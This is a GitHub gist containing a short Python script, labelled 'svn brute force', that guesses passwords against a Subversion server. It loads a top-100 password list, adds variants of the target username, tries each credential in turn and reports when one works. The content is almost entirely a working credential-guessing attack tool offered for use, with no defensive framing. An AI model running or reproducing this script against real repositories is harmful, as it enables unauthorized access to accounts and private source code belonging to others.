Skip to content

Instantly share code, notes, and snippets.

@tnt1200
Created July 28, 2015 08:23
Show Gist options
  • Select an option

  • Save tnt1200/a7afb01c522b92d0b212 to your computer and use it in GitHub Desktop.

Select an option

Save tnt1200/a7afb01c522b92d0b212 to your computer and use it in GitHub Desktop.
svn brute force
import sys
import argparse
from svn import remote
# code by tnt1200
# https://pypi.python.org/pypi/svn
err = 'E170001'
err2 = 'Password incorrect'
def svn_login(svn_url, username, password):
try:
s = remote.RemoteClient(svn_url, username=username, password=password)
s.info()
except Exception, e:
if err in e.message:
print '[-] wrong password'
else:
print '[+] password FOUND ' + password
sys.exit(0)
def gen_password(username):
base = [psw.strip() for psw in open('top100.txt')]
return base + [username] + [username + psw for psw in base]
def main(url, username):
passwords = gen_password(username)
for psw in passwords:
svn_login(url, username, psw)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='SVN brute force tool')
parser.add_argument('url', help='SVN url')
parser.add_argument('user', help='SVN username')
args = parser.parse_args()
main(args.url, args.user)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment